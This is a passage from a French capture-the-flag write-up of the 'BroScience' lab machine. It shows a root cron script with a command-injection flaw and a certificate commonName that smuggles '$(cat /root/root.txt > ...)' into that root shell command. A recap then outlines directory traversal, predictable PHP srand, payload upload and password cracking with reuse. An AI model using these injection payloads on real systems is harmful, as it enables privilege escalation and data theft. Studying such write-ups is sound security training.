echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
On en déduit nos contraintes :
Le fichier doit s’appeler
broscience.crtOn doit abuser d”
opensslpour avoir notre shell root.Le seul endroit où l’on pourrait lancer une commande arbitraire, c’est à la fin avec le
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
N.B: J’ai encore du regarder un write-up pour comprendre ce qu’il fallait faire exactement. Toutefois, ce dernier faisait un chmod u+s /bin/bash ; que je ne trouve absolument pas sexy (et encore moins cool pour les gens sur la machine). Donc je l’ai remanié à ma façon.
On va donc se générer un certificat avec comme valeur à $commonName une payload.
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:1024 -days 1 -keyout ./Certs/bro -out ./Certs/broscience.crt -subj '/CN=$(cat \/root\/root.txt \> \/home\/bill\/Certs\/root.txt)/emailAddress=e/OU=LUCLIS/O=LUCLIS/L=yes/ST=FRANCE/C=FR'
2023/03/17 06:46:01 CMD: UID=0 PID=2928 | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt > /home/bill/Certs/root.txt)".crt
2023/03/17 06:46:01 CMD: UID=0 PID=2929 | cat /root/root.txt
2023/03/17 06:46:01 CMD: UID=0 PID=2930 | /usr/bin/rm -r /home/bill/Certs/bro /home/bill/Certs/broscience.crt /home/bill/Certs/root.txt
2023/03/17 06:46:01 CMD: UID=0 PID=2931 | /usr/bin/rm -r /home/bill/Certs/. /home/bill/Certs/.. /home/bill/Certs/.crt =
Ok donc ça a bien marché le cron embarque un cleanup du dossier ~/Certs/. Il va falloir écrire le fichier dans un endroit où l’umask est favorable à bill mais que le script ne vas pas supprimer. J’aurai pu créer un dossier dans le ~ de bill, mais j’ai fait plus simple.
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:1024 -days 1 -keyout ./Certs/bro -out ./Certs/broscience.crt -subj '/CN=$(cat \/root\/root.txt \> \/home\/bill\/root.txt)/emailAddress=e/OU=LUCLIS/O=LUCLIS/L=yes/ST=FRANCE/C=FR'
2023/03/17 06:48:02 CMD: UID=0 PID=2984 | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt > /home/bill/root.txt)".crt
2023/03/17 06:48:02 CMD: UID=0 PID=2985 | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt > /home/bill/root.txt)".crt
2023/03/17 06:48:02 CMD: UID=0 PID=2987 | /usr/bin/rm -r /home/bill/Certs/. /home/bill/Certs/.. /home/bill/Certs/.crt
bill@broscience:~$ ls -lA root.txt
-rw-r--r-- 1 root root 33 Mar 17 06:40 root.txt
bill@broscience:~$ cat root.txt
0510c3be04b0388b51098a9926bf899d
On oublie pas de supprimer son petit fichier root.txt pour les coupains. Et la machine est validée.
Récapitulatif¶
Ok donc je n’aurai jamais réussi à la faire seule cette machine. Toutefois, j’ai appris pas mal de chose plutôt cool.
Pour reprendre, on arrive sur un site web ; ce dernier propose pas mal de php différents dont un pour récupérer des images sur lequel on peut faire du directory traversal avec double encoding. Quand on a récupéré l’ensemble des fichiers php, on comprends que pour activer son compte, il faut abuser de la fonction srand de php qui est initialisée par rapport à l’heure (pas bien). Donc il faut envoyer sa demande de création de compte & noter l’heure en même temps. Ensuite, une fois connecté, on doit abuser d’une fonction encore en développement qui va télécharger une payload et la stocker sur le site. Une fois cette charge présente, on a notre accès initiale en www-data. Il faut donc récupérer les mots de passes présent dans la base de donnée PostgreSQL, tenter de les casser avec hashcat et rockyou pour les réutiliser pour se connecter avec bill. (woaw.)
Une fois là, on va regarder les processus à l’aide de pspy64, décrouvrir un cron et abuser d’une partie du code pour se donner des privilèges root (ou à minima comme moi, récupérer les infos qui nous intéressent).
A retenir¶
Rajouter une partie cassage de mot de passe + password spraying à mes scénarios classiques
se souvenir que dès que l’on écrit un fichier, ça veut dire que l’on peut envoyer une charge quelque part.